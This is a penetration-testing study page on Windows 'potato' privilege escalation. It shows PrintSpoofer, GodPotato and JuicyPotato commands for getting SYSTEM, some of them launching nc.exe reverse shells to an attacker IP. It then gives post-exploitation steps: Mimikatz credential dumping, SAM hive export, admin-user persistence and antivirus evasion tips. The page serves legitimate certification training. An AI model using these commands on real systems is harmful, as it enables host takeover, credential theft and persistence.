Potato Attacks

A family of Windows privilege escalation exploits that abuse token impersonation to go from a service account (SeImpersonatePrivilege) to SYSTEM. Includes JuicyPotato, PrintSpoofer, GodPotato, and more.

Windows CPTS
LevelIntermediate. Needs SeImpersonatePrivilege, which you check for first.
Know firstWhat a Windows service account is, and what SeImpersonatePrivilege lets an account do.
You will learn toconfirm you have the right privilege, then use the current potato exploit to get SYSTEM.

What is it?

"Potato attacks" are a family of Windows privilege escalation techniques that all exploit the same core concept: if your account has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, you can impersonate any token, including SYSTEM.

Which accounts have these privileges by default?

  • Service accounts: IIS, MSSQL, and most Windows services
  • Network Service
  • Local Service
  • Any account where an admin has granted it

This means: if you get a shell as a service account (very common through web app exploitation, MSSQL xp_cmdshell, or service exploits), you can almost always escalate to SYSTEM.

Why so many "potatoes"?

Each potato variant uses a different technique to coerce a SYSTEM-level process into authenticating to you, so you can capture its token. As Microsoft patches one technique, researchers find another. The name "potato" stuck from the original "Hot Potato" (2016) and the community kept the theme.

Run this first

Confirm the privilege exists before trying any potato variant.

cmd: check first, then exploit
C:\> whoami /priv

C:\> PrintSpoofer64.exe -i -c cmd
  • whoami /priv shows SeImpersonatePrivilege as Enabled if you have it. No privilege, no potato attack.
  • PrintSpoofer64.exe -i -c cmd is the current best first attempt, since it works on most modern patched systems.

You get an interactive SYSTEM shell. If PrintSpoofer fails, GodPotato is the next attempt on recent systems, and JuicyPotato is kept for older, specifically unpatched hosts.

Which potato to use?

Each variant works on different Windows versions. Here's the decision tree:

ToolTechniqueWindows versionNotes
PrintSpooferAbuses the Print Spooler to get a SYSTEM token via named pipe impersonationWindows 10 / Server 2016-2019Simplest and most reliable. Try this first
GodPotatoAbuses DCOM/OXID resolverWindows 8+ / Server 2012+, all versions through 2022Works on the widest range. Use if PrintSpoofer fails
JuicyPotatoAbuses DCOM/BITS to get SYSTEM tokenWindows 7-10 / Server 2008-2016. NOT Server 2019+Classic potato. Needs a valid CLSID (varies by OS)
SweetPotatoCombines multiple potato techniquesWide rangeTries multiple methods automatically
RoguePotatoFixed version of JuicyPotato for newer WindowsServer 2019Needs a remote listener on your Kali box
Quick decision
  • Try PrintSpoofer first: works on most modern Windows, easiest to use
  • If PrintSpoofer fails → try GodPotato: broadest coverage
  • Old Server 2008/2012/2016 → JuicyPotato: tried and tested classic
  • If nothing works → check if SeImpersonatePrivilege is actually enabled

How do you spot it?

The check is simple: run whoami /priv and look for the magic privilege:

cmd
C:\> whoami /priv

PRIVILEGES INFORMATION
Privilege Name                Description                    State
============================= ============================== ========
SeAssignPrimaryTokenPrivilege Replace a process level token  Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas          Disabled
SeImpersonatePrivilege        Impersonate a client           Enabled   <-- THIS ONE
SeCreateGlobalPrivilege       Create global objects           Enabled

If you see SeImpersonatePrivilege → potato attack. That's it. Even if it says "Disabled", it's often still exploitable.

Common scenarios where you have SeImpersonatePrivilege
  • Web shell on IIS: IIS application pool identity always has it
  • MSSQL xp_cmdshell: SQL Server service accounts have it
  • Shell as a Windows service: Most service accounts have it
  • Reverse shell from a scheduled task running as a service: Has it

How do you use them?

PrintSpoofer (try first)

cmd
REM Get an interactive SYSTEM shell
C:\> PrintSpoofer64.exe -i -c cmd

REM Execute a command as SYSTEM
C:\> PrintSpoofer64.exe -c "whoami"
nt authority\system

REM Get a reverse shell as SYSTEM
C:\> PrintSpoofer64.exe -c "C:\temp\nc.exe YOUR_IP 4444 -e cmd.exe"

GodPotato

cmd
REM Execute a command as SYSTEM
C:\> GodPotato-NET4.exe -cmd "cmd /c whoami"
nt authority\system

REM Reverse shell
C:\> GodPotato-NET4.exe -cmd "C:\temp\nc.exe YOUR_IP 4444 -e cmd.exe"

REM Use the right .NET version (check with dir C:\Windows\Microsoft.NET\Framework64\)
REM GodPotato-NET2.exe for .NET 2.0/3.5
REM GodPotato-NET4.exe for .NET 4.x

JuicyPotato (older systems)

cmd: Windows 7/8/10, Server 2008/2012/2016
REM Basic usage: needs a CLSID that runs as SYSTEM
C:\> JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {4991D34B-80A1-4291-83B6-3328366B9097}

REM -l = COM server listening port (pick any free port)
REM -p = program to execute as SYSTEM
REM -t = createprocess type (* = try both)
REM -c = CLSID (varies by OS version!)

REM Execute a reverse shell
C:\> JuicyPotato.exe -l 1337 -p C:\temp\rev.exe -t * -c {4991D34B-80A1-4291-83B6-3328366B9097}
JuicyPotato CLSID

JuicyPotato requires a CLSID that corresponds to a COM server running as SYSTEM. The CLSID varies by Windows version. If one fails, try another. Lists of working CLSIDs per OS version are available at the JuicyPotato GitHub wiki. The default one shown above works on many versions of Windows 10.

What do you do with SYSTEM?

Once you're SYSTEM, you own the machine. Here's what to do next:

  • Dump credentials: Run Mimikatz sekurlsa::logonpasswords to get all cached credentials
  • Dump SAM: reg save HKLM\SAM sam.bak + reg save HKLM\SYSTEM system.bak → transfer to Kali → secretsdump.py -sam sam.bak -system system.bak LOCAL
  • Check for domain creds: If domain users have logged in to this machine, their hashes are in LSASS memory
  • Read flags: On HTB/CPTS, read the root.txt / proof.txt
  • Pivot: Check ipconfig /all for additional network interfaces → Ligolo-ng
  • Persist: Create a new admin user, dump hashes for pass-the-hash access later

Common mistakes

Gotchas
  • No SeImpersonatePrivilege: Check whoami /priv first. If you don't have it, no potato will work. Look for other privesc paths
  • Wrong .NET version for GodPotato: Check which .NET frameworks are installed. Use dir C:\Windows\Microsoft.NET\Framework64\. Using NET4 on a NET2-only system = error
  • JuicyPotato on Server 2019+: It's patched. Use PrintSpoofer or GodPotato instead
  • PrintSpoofer and Print Spooler disabled: If the Print Spooler service is stopped/disabled, PrintSpoofer won't work. Try GodPotato
  • Antivirus eating the binary: Rename the exe, use a different variant, or try running from a less-monitored directory (e.g., C:\Windows\Temp\)
  • Using the wrong architecture: 64-bit potato on a 32-bit system (or vice versa) will silently fail. Check with systeminfo | findstr /B /C:"OS"
Decision flowchart

whoami /priv → SeImpersonatePrivilege? Yes → try PrintSpoofer → failed? → try GodPotato → failed? → try JuicyPotato (if old OS) → still failed? → check if Spooler service is running, try different CLSID, or try SweetPotato

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

What is the one prerequisite every potato variant needs?
SeImpersonatePrivilege, visible with whoami /priv. Without it, none of the potato attacks work.
Which potato do you try first on a modern, patched Windows target?
PrintSpoofer, since it works on most current systems before you need to reach for an older variant.
PrintSpoofer fails on a current system. What do you try next?
GodPotato, which targets more recent Windows versions than the older JuicyPotato.
When is JuicyPotato still the right choice?
On older, specifically unpatched systems where the newer potato variants don't apply.
PrintSpoofer runs successfully but you want output, not an interactive shell. What changes in the command?
Swap -i -c cmd for -c "command", which runs one command and returns its output instead of opening a shell.